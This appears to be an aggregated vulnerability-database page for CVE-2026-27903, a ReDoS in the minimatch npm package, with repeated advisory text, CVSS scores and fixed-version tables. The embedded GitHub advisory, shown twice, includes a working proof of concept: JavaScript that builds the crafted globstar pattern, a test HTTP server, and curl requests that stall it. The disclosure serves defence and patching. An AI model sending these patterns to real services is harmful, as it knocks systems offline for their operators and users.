CVE-2026-27903
minimatch has a ReDoS: matchOne() combinatorial backtracking via multiple non-adjacent GLOBSTAR segments
minimatch is a minimal matching utility for converting glob expressions into JavaScript RegExp objects. Prior to version 10.2.3, 9.0.7, 8.0.6, 7.4.8, 6.2.2, 5.1.8, 4.2.5, and 3.1.3, matchOne() performs unbounded recursive backtracking when a glob pattern contains multiple non-adjacent ** (GLOBSTAR) segments and the input path does not match. The time complexity is O(C(n, k)) -- binomial -- where n is the number of path segments and k is the number of globstars. With k=11 and n=30, a call to the default minimatch() API stalls for roughly 5 seconds. With k=13, it exceeds 15 seconds. No memoization or call budget exists to bound this behavior. Any application where an attacker can influence the glob pattern passed to minimatch() is vulnerable. The realistic attack surface includes build tools and task runners that accept user-supplied glob arguments (ESLint, Webpack, Rollup config), multi-tenant systems where one tenant configures glob-based rules that run in a shared process, admin or developer interfaces that accept ignore-rule or filter configuration as globs, and CI/CD pipelines that evaluate user-submitted config files containing glob patterns. An attacker who can place a crafted pattern into any of these paths can stall the Node.js event loop for tens of seconds per invocation. The pattern is 56 bytes for a 5-second stall and does not require authentication in contexts where pattern input is part of the feature. Versions 10.2.3, 9.0.7, 8.0.6, 7.4.8, 6.2.2, 5.1.8, 4.2.5, and 3.1.3 fix the issue.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- None
- Integrity
- None
- Availability
- High
Exploit likelihood
What each source reports
CVE List Score used
7.5
minimatch has a ReDoS: matchOne() combinatorial backtracking via multiple non-adjacent GLOBSTAR segments
minimatch is a minimal matching utility for converting glob expressions into JavaScript RegExp objects. Prior to version 10.2.3, 9.0.7, 8.0.6, 7.4.8, 6.2.2, 5.1.8, 4.2.5, and 3.1.3, matchOne() performs unbounded recursive backtracking when a glob pattern contains multiple non-adjacent ** (GLOBSTAR) segments and the input path does not match. The time complexity is O(C(n, k)) -- binomial -- where n is the number of path segments and k is the number of globstars. With k=11 and n=30, a call to the default minimatch() API stalls for roughly 5 seconds. With k=13, it exceeds 15 seconds. No memoization or call budget exists to bound this behavior. Any application where an attacker can influence the glob pattern passed to minimatch() is vulnerable. The realistic attack surface includes build tools and task runners that accept user-supplied glob arguments (ESLint, Webpack, Rollup config), multi-tenant systems where one tenant configures glob-based rules that run in a shared process, admin or developer interfaces that accept ignore-rule or filter configuration as globs, and CI/CD pipelines that evaluate user-submitted config files containing glob patterns. An attacker who can place a crafted pattern into any of these paths can stall the Node.js event loop for tens of seconds per invocation. The pattern is 56 bytes for a 5-second stall and does not require authentication in contexts where pattern input is part of the feature. Versions 10.2.3, 9.0.7, 8.0.6, 7.4.8, 6.2.2, 5.1.8, 4.2.5, and 3.1.3 fix the issue.
- Record
CVE-2026-27903- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-407
- Updated
- 2026-11-02
EUVDEUVD-2026-8801
7.5
minimatch is a minimal matching utility for converting glob expressions into JavaScript RegExp objects. Prior to version 10.2.3, 9.0.7, 8.0.6, 7.4.8, 6.2.2, 5.1.8, 4.2.5, and 3.1.3, matchOne() performs unbounded recursive backtracking when a glob pattern contains multiple non-adjacent ** (GLOBSTAR) segments and the input path does not match. The time complexity is O(C(n, k)) -- binomial -- where n is the number of path segments and k is the number of globstars. With k=11 and n=30, a call to the default minimatch() API stalls for roughly 5 seconds. With k=13, it exceeds 15 seconds. No memoization or call budget exists to bound this behavior. Any application where an attacker can influence the glob pattern passed to minimatch() is vulnerable. The realistic attack surface includes build tools and task runners that accept user-supplied glob arguments (ESLint, Webpack, Rollup config), multi-tenant systems where one tenant configures glob-based rules that run in a shared process, admin or developer interfaces that accept ignore-rule or filter configuration as globs, and CI/CD pipelines that evaluate user-submitted config files containing glob patterns. An attacker who can place a crafted pattern into any of these paths can stall the Node.js event loop for tens of seconds per invocation. The pattern is 56 bytes for a 5-second stall and does not require authentication in contexts where pattern input is part of the feature. Versions 10.2.3, 9.0.7, 8.0.6, 7.4.8, 6.2.2, 5.1.8, 4.2.5, and 3.1.3 fix the issue.
- Record
EUVD-2026-8801- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-7r86-cg39-jmmj
7.5
minimatch has ReDoS: matchOne() combinatorial backtracking via multiple non-adjacent GLOBSTAR segments
Summary
matchOne() performs unbounded recursive backtracking when a glob pattern contains multiple non-adjacent ** (GLOBSTAR) segments and the input path does not match. The time complexity is O(C(n, k)) -- binomial -- where n is the number of path segments and k is the number of globstars. With k=11 and n=30, a call to the default minimatch() API stalls for roughly 5 seconds. With k=13, it exceeds 15 seconds. No memoization or call budget exists to bound this behavior.
Details
The vulnerable loop is in matchOne() at src/index.ts#L960:
while (fr < fl) {
..
if (this.matchOne(file.slice(fr), pattern.slice(pr), partial)) {
..
return true
}
..
fr++
}
When a GLOBSTAR is encountered, the function tries to match the remaining pattern against every suffix of the remaining file segments. Each ** multiplies the number of recursive calls by the number of remaining segments. With k non-adjacent globstars and n file segments, the total number of calls is C(n, k).
There is no depth counter, visited-state cache, or budget limit applied to this recursion. The call tree is fully explored before returning false on a non-matching input.
Measured timing with n=30 path segments:
| k (globstars) | Pattern size | Time | |---------------|--------------|----------| | 7 | 36 bytes | ~154ms | | 9 | 46 bytes | ~1.2s | | 11 | 56 bytes | ~5.4s | | 12 | 61 bytes | ~9.7s | | 13 | 66 bytes | ~15.9s |
PoC
Tested on [email protected], Node.js 20.
Step 1 -- inline script
import { minimatch } from 'minimatch'
// k=9 globstars, n=30 path segments
// pattern: 46 bytes, default options
const pattern = '**/a/**/a/**/a/**/a/**/a/**/a/**/a/**/a/**/a/b'
const path = 'a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a'
const start = Date.now()
minimatch(path, pattern)
console.log(Date.now() - start + 'ms') // ~1200ms
To scale the effect, increase k:
// k=11 -> ~5.4s, k=13 -> ~15.9s
const k = 11
const pattern = Array.from({ length: k }, () => '**/a').join('/') + '/b'
const path = Array(30).fill('a').join('/')
minimatch(path, pattern)
No special options are required. This reproduces with the default minimatch() call.
Step 2 -- HTTP server (event loop starvation proof)
The following server demonstrates the event loop starvation effect. It is a minimal harness, not a claim that this exact deployment pattern is common:
// poc1-server.mjs
import http from 'node:http'
import { URL } from 'node:url'
import { minimatch } from 'minimatch'
const PORT = 3000
const server = http.createServer((req, res) => {
const url = new URL(req.url, `http://localhost:${PORT}`)
if (url.pathname !== '/match') { res.writeHead(404); res.end(); return }
const pattern = url.searchParams.get('pattern') ?? ''
const path = url.searchParams.get('path') ?? ''
const start = process.hrtime.bigint()
const result = minimatch(path, pattern)
const ms = Number(process.hrtime.bigint() - start) / 1e6
res.writeHead(200, { 'Content-Type': 'application/json' })
res.end(JSON.stringify({ result, ms: ms.toFixed(0) }) + '\n')
})
server.listen(PORT)
Terminal 1 -- start the server:
node poc1-server.mjs
Terminal 2 -- send the attack request (k=11, ~5s stall) and immediately return to shell:
curl "http://localhost:3000/match?pattern=**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2Fb&path=a%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa" &
Terminal 3 -- while the attack is in-flight, send a benign request:
curl -w "\ntime_total: %{time_total}s\n" "http://localhost:3000/match?pattern=**%2Fy%2Fz&path=x%2Fy%2Fz"
**Observed…
- Record
GHSA-7r86-cg39-jmmj- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-407
- Updated
- 2026-11-02
NVD
7.5
minimatch is a minimal matching utility for converting glob expressions into JavaScript RegExp objects. Prior to version 10.2.3, 9.0.7, 8.0.6, 7.4.8, 6.2.2, 5.1.8, 4.2.5, and 3.1.3, matchOne() performs unbounded recursive backtracking when a glob pattern contains multiple non-adjacent ** (GLOBSTAR) segments and the input path does not match. The time complexity is O(C(n, k)) -- binomial -- where n is the number of path segments and k is the number of globstars. With k=11 and n=30, a call to the default minimatch() API stalls for roughly 5 seconds. With k=13, it exceeds 15 seconds. No memoization or call budget exists to bound this behavior. Any application where an attacker can influence the glob pattern passed to minimatch() is vulnerable. The realistic attack surface includes build tools and task runners that accept user-supplied glob arguments (ESLint, Webpack, Rollup config), multi-tenant systems where one tenant configures glob-based rules that run in a shared process, admin or developer interfaces that accept ignore-rule or filter configuration as globs, and CI/CD pipelines that evaluate user-submitted config files containing glob patterns. An attacker who can place a crafted pattern into any of these paths can stall the Node.js event loop for tens of seconds per invocation. The pattern is 56 bytes for a 5-second stall and does not require authentication in contexts where pattern input is part of the feature. Versions 10.2.3, 9.0.7, 8.0.6, 7.4.8, 6.2.2, 5.1.8, 4.2.5, and 3.1.3 fix the issue.
- Record
CVE-2026-27903- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-407
- Updated
- 2026-11-02
OSV
7.5
minimatch has a ReDoS: matchOne() combinatorial backtracking via multiple non-adjacent GLOBSTAR segments
minimatch is a minimal matching utility for converting glob expressions into JavaScript RegExp objects. Prior to version 10.2.3, 9.0.7, 8.0.6, 7.4.8, 6.2.2, 5.1.8, 4.2.5, and 3.1.3, matchOne() performs unbounded recursive backtracking when a glob pattern contains multiple non-adjacent ** (GLOBSTAR) segments and the input path does not match. The time complexity is O(C(n, k)) -- binomial -- where n is the number of path segments and k is the number of globstars. With k=11 and n=30, a call to the default minimatch() API stalls for roughly 5 seconds. With k=13, it exceeds 15 seconds. No memoization or call budget exists to bound this behavior. Any application where an attacker can influence the glob pattern passed to minimatch() is vulnerable. The realistic attack surface includes build tools and task runners that accept user-supplied glob arguments (ESLint, Webpack, Rollup config), multi-tenant systems where one tenant configures glob-based rules that run in a shared process, admin or developer interfaces that accept ignore-rule or filter configuration as globs, and CI/CD pipelines that evaluate user-submitted config files containing glob patterns. An attacker who can place a crafted pattern into any of these paths can stall the Node.js event loop for tens of seconds per invocation. The pattern is 56 bytes for a 5-second stall and does not require authentication in contexts where pattern input is part of the feature. Versions 10.2.3, 9.0.7, 8.0.6, 7.4.8, 6.2.2, 5.1.8, 4.2.5, and 3.1.3 fix the issue.
- Record
CVE-2026-27903- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-407
- Updated
- 2026-11-02
OSVDEBIAN-CVE-2026-27903
7.5
minimatch is a minimal matching utility for converting glob expressions into JavaScript RegExp objects. Prior to version 10.2.3, 9.0.7, 8.0.6, 7.4.8, 6.2.2, 5.1.8, 4.2.5, and 3.1.3, matchOne() performs unbounded recursive backtracking when a glob pattern contains multiple non-adjacent ** (GLOBSTAR) segments and the input path does not match. The time complexity is O(C(n, k)) -- binomial -- where n is the number of path segments and k is the number of globstars. With k=11 and n=30, a call to the default minimatch() API stalls for roughly 5 seconds. With k=13, it exceeds 15 seconds. No memoization or call budget exists to bound this behavior. Any application where an attacker can influence the glob pattern passed to minimatch() is vulnerable. The realistic attack surface includes build tools and task runners that accept user-supplied glob arguments (ESLint, Webpack, Rollup config), multi-tenant systems where one tenant configures glob-based rules that run in a shared process, admin or developer interfaces that accept ignore-rule or filter configuration as globs, and CI/CD pipelines that evaluate user-submitted config files containing glob patterns. An attacker who can place a crafted pattern into any of these paths can stall the Node.js event loop for tens of seconds per invocation. The pattern is 56 bytes for a 5-second stall and does not require authentication in contexts where pattern input is part of the feature. Versions 10.2.3, 9.0.7, 8.0.6, 7.4.8, 6.2.2, 5.1.8, 4.2.5, and 3.1.3 fix the issue.
- Record
DEBIAN-CVE-2026-27903- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Updated
- 2026-11-02
Show 26 moreShow less
OSVGHSA-7r86-cg39-jmmj
7.5
minimatch has ReDoS: matchOne() combinatorial backtracking via multiple non-adjacent GLOBSTAR segments
Summary
matchOne() performs unbounded recursive backtracking when a glob pattern contains multiple non-adjacent ** (GLOBSTAR) segments and the input path does not match. The time complexity is O(C(n, k)) -- binomial -- where n is the number of path segments and k is the number of globstars. With k=11 and n=30, a call to the default minimatch() API stalls for roughly 5 seconds. With k=13, it exceeds 15 seconds. No memoization or call budget exists to bound this behavior.
Details
The vulnerable loop is in matchOne() at src/index.ts#L960:
while (fr < fl) {
..
if (this.matchOne(file.slice(fr), pattern.slice(pr), partial)) {
..
return true
}
..
fr++
}
When a GLOBSTAR is encountered, the function tries to match the remaining pattern against every suffix of the remaining file segments. Each ** multiplies the number of recursive calls by the number of remaining segments. With k non-adjacent globstars and n file segments, the total number of calls is C(n, k).
There is no depth counter, visited-state cache, or budget limit applied to this recursion. The call tree is fully explored before returning false on a non-matching input.
Measured timing with n=30 path segments:
| k (globstars) | Pattern size | Time | |---------------|--------------|----------| | 7 | 36 bytes | ~154ms | | 9 | 46 bytes | ~1.2s | | 11 | 56 bytes | ~5.4s | | 12 | 61 bytes | ~9.7s | | 13 | 66 bytes | ~15.9s |
PoC
Tested on [email protected], Node.js 20.
Step 1 -- inline script
import { minimatch } from 'minimatch'
// k=9 globstars, n=30 path segments
// pattern: 46 bytes, default options
const pattern = '**/a/**/a/**/a/**/a/**/a/**/a/**/a/**/a/**/a/b'
const path = 'a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a/a'
const start = Date.now()
minimatch(path, pattern)
console.log(Date.now() - start + 'ms') // ~1200ms
To scale the effect, increase k:
// k=11 -> ~5.4s, k=13 -> ~15.9s
const k = 11
const pattern = Array.from({ length: k }, () => '**/a').join('/') + '/b'
const path = Array(30).fill('a').join('/')
minimatch(path, pattern)
No special options are required. This reproduces with the default minimatch() call.
Step 2 -- HTTP server (event loop starvation proof)
The following server demonstrates the event loop starvation effect. It is a minimal harness, not a claim that this exact deployment pattern is common:
// poc1-server.mjs
import http from 'node:http'
import { URL } from 'node:url'
import { minimatch } from 'minimatch'
const PORT = 3000
const server = http.createServer((req, res) => {
const url = new URL(req.url, `http://localhost:${PORT}`)
if (url.pathname !== '/match') { res.writeHead(404); res.end(); return }
const pattern = url.searchParams.get('pattern') ?? ''
const path = url.searchParams.get('path') ?? ''
const start = process.hrtime.bigint()
const result = minimatch(path, pattern)
const ms = Number(process.hrtime.bigint() - start) / 1e6
res.writeHead(200, { 'Content-Type': 'application/json' })
res.end(JSON.stringify({ result, ms: ms.toFixed(0) }) + '\n')
})
server.listen(PORT)
Terminal 1 -- start the server:
node poc1-server.mjs
Terminal 2 -- send the attack request (k=11, ~5s stall) and immediately return to shell:
curl "http://localhost:3000/match?pattern=**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2F**%2Fa%2Fb&path=a%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa%2Fa" &
Terminal 3 -- while the attack is in-flight, send a benign request:
curl -w "\ntime_total: %{time_total}s\n" "http://localhost:3000/match?pattern=**%2Fy%2Fz&path=x%2Fy%2Fz"
**Observed…
- Record
GHSA-7r86-cg39-jmmj- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Weakness
- CWE-407
- Updated
- 2026-11-02
OSVROOT-APP-NPM-CVE-2026-27903
7.5
CVE-2026-27903 in minimatch - Patched by Root
Root has patched CVE-2026-27903 in the minimatch package for Root:npm. Multiple fixed versions available.
- Record
ROOT-APP-NPM-CVE-2026-27903- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Updated
- 2026-11-02
OSVUBUNTU-CVE-2026-27903
7.5
minimatch is a minimal matching utility for converting glob expressions into JavaScript RegExp objects. Prior to version 10.2.3, 9.0.7, 8.0.6, 7.4.8, 6.2.2, 5.1.8, 4.2.5, and 3.1.3, matchOne() performs unbounded recursive backtracking when a glob pattern contains multiple non-adjacent ** (GLOBSTAR) segments and the input path does not match. The time complexity is O(C(n, k)) -- binomial -- where n is the number of path segments and k is the number of globstars. With k=11 and n=30, a call to the default minimatch() API stalls for roughly 5 seconds. With k=13, it exceeds 15 seconds. No memoization or call budget exists to bound this behavior. Any application where an attacker can influence the glob pattern passed to minimatch() is vulnerable. The realistic attack surface includes build tools and task runners that accept user-supplied glob arguments (ESLint, Webpack, Rollup config), multi-tenant systems where one tenant configures glob-based rules that run in a shared process, admin or developer interfaces that accept ignore-rule or filter configuration as globs, and CI/CD pipelines that evaluate user-submitted config files containing glob patterns. An attacker who can place a crafted pattern into any of these paths can stall the Node.js event loop for tens of seconds per invocation. The pattern is 56 bytes for a 5-second stall and does not require authentication in contexts where pattern input is part of the feature. Versions 10.2.3, 9.0.7, 8.0.6, 7.4.8, 6.2.2, 5.1.8, 4.2.5, and 3.1.3 fix the issue.
- Record
UBUNTU-CVE-2026-27903- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H - Updated
- 2026-11-02
OSVAZL-101105 No score
CVE-2026-27903 affecting package js-jquery 3.5.0-4
minimatch is a minimal matching utility for converting glob expressions into JavaScript RegExp objects. Prior to version 10.2.3, 9.0.7, 8.0.6, 7.4.8, 6.2.2, 5.1.8, 4.2.5, and 3.1.3, matchOne() performs unbounded recursive backtracking when a glob pattern contains multiple non-adjacent ** (GLOBSTAR) segments and the input path does not match. The time complexity is O(C(n, k)) -- binomial -- where n is the number of path segments and k is the number of globstars. With k=11 and n=30, a call to the default minimatch() API stalls for roughly 5 seconds. With k=13, it exceeds 15 seconds. No memoization or call budget exists to bound this behavior. Any application where an attacker can influence the glob pattern passed to minimatch() is vulnerable. The realistic attack surface includes build tools and task runners that accept user-supplied glob arguments (ESLint, Webpack, Rollup config), multi-tenant systems where one tenant configures glob-based rules that run in a shared process, admin or developer interfaces that accept ignore-rule or filter configuration as globs, and CI/CD pipelines that evaluate user-submitted config files containing glob patterns. An attacker who can place a crafted pattern into any of these paths can stall the Node.js event loop for tens of seconds per invocation. The pattern is 56 bytes for a 5-second stall and does not require authentication in contexts where pattern input is part of the feature. Versions 10.2.3, 9.0.7, 8.0.6, 7.4.8, 6.2.2, 5.1.8, 4.2.5, and 3.1.3 fix the issue.
- Record
AZL-101105- Updated
- 2026-11-05
OSVAZL-101108 No score
CVE-2026-27903 affecting package nodejs-nodemon 2.0.3-5
minimatch is a minimal matching utility for converting glob expressions into JavaScript RegExp objects. Prior to version 10.2.3, 9.0.7, 8.0.6, 7.4.8, 6.2.2, 5.1.8, 4.2.5, and 3.1.3, matchOne() performs unbounded recursive backtracking when a glob pattern contains multiple non-adjacent ** (GLOBSTAR) segments and the input path does not match. The time complexity is O(C(n, k)) -- binomial -- where n is the number of path segments and k is the number of globstars. With k=11 and n=30, a call to the default minimatch() API stalls for roughly 5 seconds. With k=13, it exceeds 15 seconds. No memoization or call budget exists to bound this behavior. Any application where an attacker can influence the glob pattern passed to minimatch() is vulnerable. The realistic attack surface includes build tools and task runners that accept user-supplied glob arguments (ESLint, Webpack, Rollup config), multi-tenant systems where one tenant configures glob-based rules that run in a shared process, admin or developer interfaces that accept ignore-rule or filter configuration as globs, and CI/CD pipelines that evaluate user-submitted config files containing glob patterns. An attacker who can place a crafted pattern into any of these paths can stall the Node.js event loop for tens of seconds per invocation. The pattern is 56 bytes for a 5-second stall and does not require authentication in contexts where pattern input is part of the feature. Versions 10.2.3, 9.0.7, 8.0.6, 7.4.8, 6.2.2, 5.1.8, 4.2.5, and 3.1.3 fix the issue.
- Record
AZL-101108- Updated
- 2026-11-05
OSVAZL-101769 No score
CVE-2026-27903 affecting package python-tensorboard 2.16.2-6
minimatch is a minimal matching utility for converting glob expressions into JavaScript RegExp objects. Prior to version 10.2.3, 9.0.7, 8.0.6, 7.4.8, 6.2.2, 5.1.8, 4.2.5, and 3.1.3, matchOne() performs unbounded recursive backtracking when a glob pattern contains multiple non-adjacent ** (GLOBSTAR) segments and the input path does not match. The time complexity is O(C(n, k)) -- binomial -- where n is the number of path segments and k is the number of globstars. With k=11 and n=30, a call to the default minimatch() API stalls for roughly 5 seconds. With k=13, it exceeds 15 seconds. No memoization or call budget exists to bound this behavior. Any application where an attacker can influence the glob pattern passed to minimatch() is vulnerable. The realistic attack surface includes build tools and task runners that accept user-supplied glob arguments (ESLint, Webpack, Rollup config), multi-tenant systems where one tenant configures glob-based rules that run in a shared process, admin or developer interfaces that accept ignore-rule or filter configuration as globs, and CI/CD pipelines that evaluate user-submitted config files containing glob patterns. An attacker who can place a crafted pattern into any of these paths can stall the Node.js event loop for tens of seconds per invocation. The pattern is 56 bytes for a 5-second stall and does not require authentication in contexts where pattern input is part of the feature. Versions 10.2.3, 9.0.7, 8.0.6, 7.4.8, 6.2.2, 5.1.8, 4.2.5, and 3.1.3 fix the issue.
- Record
AZL-101769- Updated
- 2026-11-02
OSVCLSA-2026-1774570924 No score
TuxCare security update for minimatch (1 CVE)
TuxCare rebuilt minimatch to address 1 CVE. Fixed in 5.1.0-tuxcare.2.
- Record
CLSA-2026-1774570924- Updated
- 2026-11-02
OSVCLSA-2026-1774657359 No score
TuxCare security update for minimatch (2 CVEs)
TuxCare rebuilt minimatch to address 2 CVEs. Fixed in 3.1.5-tuxcare.1.
- Record
CLSA-2026-1774657359- Updated
- 2026-11-02
OSVCLSA-2026-1776731789 No score
TuxCare security update for minimatch (1 CVE)
TuxCare rebuilt minimatch to address 1 CVE. Fixed in 3.0.4-tuxcare.4.
- Record
CLSA-2026-1776731789- Updated
- 2026-11-05
OSVCLSA-2026-1776904631 No score
TuxCare security update for minimatch (2 CVEs)
TuxCare rebuilt minimatch to address 2 CVEs. Fixed in 1.0.0-tuxcare.2.
- Record
CLSA-2026-1776904631- Updated
- 2026-11-02
OSVCLSA-2026-1777250303 No score
TuxCare security update for minimatch (1 CVE)
TuxCare rebuilt minimatch to address 1 CVE. Fixed in 3.1.2-tuxcare.4.
- Record
CLSA-2026-1777250303- Updated
- 2026-11-02
OSVCLSA-2026-1779065203 No score
TuxCare security update for minimatch (2 CVEs)
TuxCare rebuilt minimatch to address 2 CVEs. Fixed in 3.0.5-tuxcare.1.
- Record
CLSA-2026-1779065203- Updated
- 2026-11-05
OSVCLSA-2026-1784596320 No score
TuxCare security update for minimatch (3 CVEs)
TuxCare rebuilt minimatch to address 3 CVEs. Fixed in 9.0.3-tuxcare.1.
- Record
CLSA-2026-1784596320- Updated
- 2026-11-02
OSVCLSA-2026-1786361876 No score
TuxCare security update for minimatch (4 CVEs)
TuxCare rebuilt minimatch to address 4 CVEs. Fixed in 0.2.5-tuxcare.1.
- Record
CLSA-2026-1786361876- Updated
- 2026-11-05
OSVCLSA-2026-1787004422 No score
TuxCare security update for minimatch (2 CVEs)
TuxCare rebuilt minimatch to address 2 CVEs. Fixed in 0.2.14-tuxcare.3.
- Record
CLSA-2026-1787004422- Updated
- 2026-11-02
OSVCLSA-2026-1787072761 No score
TuxCare security update for minimatch (2 CVEs)
TuxCare rebuilt minimatch to address 2 CVEs. Fixed in 0.0.4-tuxcare.3.
- Record
CLSA-2026-1787072761- Updated
- 2026-11-05
OSVCLSA-2026-1790604963 No score
TuxCare security update for minimatch (2 CVEs)
TuxCare rebuilt minimatch to address 2 CVEs. Fixed in 7.4.6-tuxcare.1.
- Record
CLSA-2026-1790604963- Updated
- 2026-11-02
OSVCLSA-2026-1791028032 No score
TuxCare security update for minimatch (2 CVEs)
TuxCare rebuilt minimatch to address 2 CVEs. Fixed in 0.4.0-tuxcare.2.
- Record
CLSA-2026-1791028032- Updated
- 2026-11-02
OSVCLSA-2026-1791028126 No score
TuxCare security update for minimatch (2 CVEs)
TuxCare rebuilt minimatch to address 2 CVEs. Fixed in 10.1.1-tuxcare.1.
- Record
CLSA-2026-1791028126- Updated
- 2026-11-02
OSVCLSA-2026-1791458597 No score
TuxCare security update for minimatch (3 CVEs)
TuxCare rebuilt minimatch to address 3 CVEs. Fixed in 9.0.5-tuxcare.1.
- Record
CLSA-2026-1791458597- Updated
- 2026-11-02
OSVCLSA-2026-1792369174 No score
TuxCare security update for minimatch (2 CVEs)
TuxCare rebuilt minimatch to address 2 CVEs. Fixed in 10.2.2-tuxcare.1.
- Record
CLSA-2026-1792369174- Updated
- 2026-11-02
OSVCLSA-2026-1792450202 No score
TuxCare security update for minimatch (2 CVEs)
TuxCare rebuilt minimatch to address 2 CVEs. Fixed in 5.1.1-tuxcare.1.
- Record
CLSA-2026-1792450202- Updated
- 2026-11-05
OSVCLSA-2026-1792476336 No score
TuxCare security update for minimatch (3 CVEs)
TuxCare rebuilt minimatch to address 3 CVEs. Fixed in 3.0.3-tuxcare.1.
- Record
CLSA-2026-1792476336- Updated
- 2026-11-02
OSVCLSA-2026-1792489530 No score
TuxCare security update for minimatch (2 CVEs)
TuxCare rebuilt minimatch to address 2 CVEs. Fixed in 5.1.2-tuxcare.1.
- Record
CLSA-2026-1792489530- Updated
- 2026-11-05
OSVCLSA-2026-1792495737 No score
TuxCare security update for minimatch (2 CVEs)
TuxCare rebuilt minimatch to address 2 CVEs. Fixed in 4.2.3-tuxcare.1.
- Record
CLSA-2026-1792495737- Updated
- 2026-11-02
OSVCLSA-2026-1793878917 No score
TuxCare security update for minimatch (3 CVEs)
TuxCare rebuilt minimatch to address 3 CVEs. Fixed in 5.1.6-tuxcare.1.
- Record
CLSA-2026-1793878917- Updated
- 2026-11-06
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
minimatchnpm |
10.0.0 up to 10.2.3 | 10.2.3 |
minimatchnpm |
9.0.0 up to 9.0.7 | 9.0.7 |
minimatchnpm |
8.0.0 up to 8.0.6 | 8.0.6 |
minimatchnpm |
7.0.0 up to 7.4.8 | 7.4.8 |
minimatchnpm |
6.0.0 up to 6.2.2 | 6.2.2 |
minimatchnpm |
5.0.0 up to 5.1.8 | 5.1.8 |
minimatchnpm |
4.0.0 up to 4.2.5 | 4.2.5 |
minimatchnpm |
before 3.1.3 | 3.1.3 |
js-jqueryAzure Linux:3 |
through 3.5.0-4 | None known |
nodejs-nodemonAzure Linux:3 |
through 2.0.3-5 | None known |
Show 35 moreShow less
| Package | Affected | Fixed |
|---|---|---|
python-tensorboardAzure Linux:3 |
through 2.16.2-6 | None known |
minimatchTuxCare:npm |
5.1.0-tuxcare.0 up to 5.1.0-tuxcare.2, plus listed versions 5.1.05.1.0-tuxcare.1 |
5.1.0-tuxcare.2 |
minimatchTuxCare:npm From an advisory covering 2 CVEs |
3.1.5-tuxcare.0 up to 3.1.5-tuxcare.1, plus listed versions 3.1.5 |
3.1.5-tuxcare.1 |
minimatchTuxCare:npm |
3.0.4-tuxcare.0 up to 3.0.4-tuxcare.4, plus listed versions 3.0.43.0.4-tuxcare.13.0.4-tuxcare.23.0.4-tuxcare.3 |
3.0.4-tuxcare.4 |
minimatchTuxCare:npm From an advisory covering 2 CVEs |
1.0.0-tuxcare.0 up to 1.0.0-tuxcare.2, plus listed versions 1.0.01.0.0-tuxcare.1 |
1.0.0-tuxcare.2 |
minimatchTuxCare:npm |
3.1.2-tuxcare.0 up to 3.1.2-tuxcare.4, plus listed versions 3.1.23.1.2-tuxcare.13.1.2-tuxcare.23.1.2-tuxcare.3 |
3.1.2-tuxcare.4 |
minimatchTuxCare:npm From an advisory covering 2 CVEs |
3.0.5-tuxcare.0 up to 3.0.5-tuxcare.1, plus listed versions 3.0.5 |
3.0.5-tuxcare.1 |
minimatchTuxCare:npm From an advisory covering 3 CVEs |
9.0.3-tuxcare.0 up to 9.0.3-tuxcare.1, plus listed versions 9.0.3 |
9.0.3-tuxcare.1 |
minimatchTuxCare:npm From an advisory covering 4 CVEs |
0.2.5-tuxcare.0 up to 0.2.5-tuxcare.1, plus listed versions 0.2.5 |
0.2.5-tuxcare.1 |
minimatchTuxCare:npm From an advisory covering 2 CVEs |
0.2.14-tuxcare.0 up to 0.2.14-tuxcare.3, plus listed versions 0.2.140.2.14-tuxcare.10.2.14-tuxcare.2 |
0.2.14-tuxcare.3 |
minimatchTuxCare:npm From an advisory covering 2 CVEs |
0.0.4-tuxcare.0 up to 0.0.4-tuxcare.3, plus listed versions 0.0.40.0.4-tuxcare.10.0.4-tuxcare.2 |
0.0.4-tuxcare.3 |
minimatchTuxCare:npm From an advisory covering 2 CVEs |
7.4.6-tuxcare.0 up to 7.4.6-tuxcare.1, plus listed versions 7.4.6 |
7.4.6-tuxcare.1 |
minimatchTuxCare:npm From an advisory covering 2 CVEs |
0.4.0-tuxcare.0 up to 0.4.0-tuxcare.2, plus listed versions 0.4.00.4.0-tuxcare.1 |
0.4.0-tuxcare.2 |
minimatchTuxCare:npm From an advisory covering 2 CVEs |
10.1.1-tuxcare.0 up to 10.1.1-tuxcare.1, plus listed versions 10.1.1 |
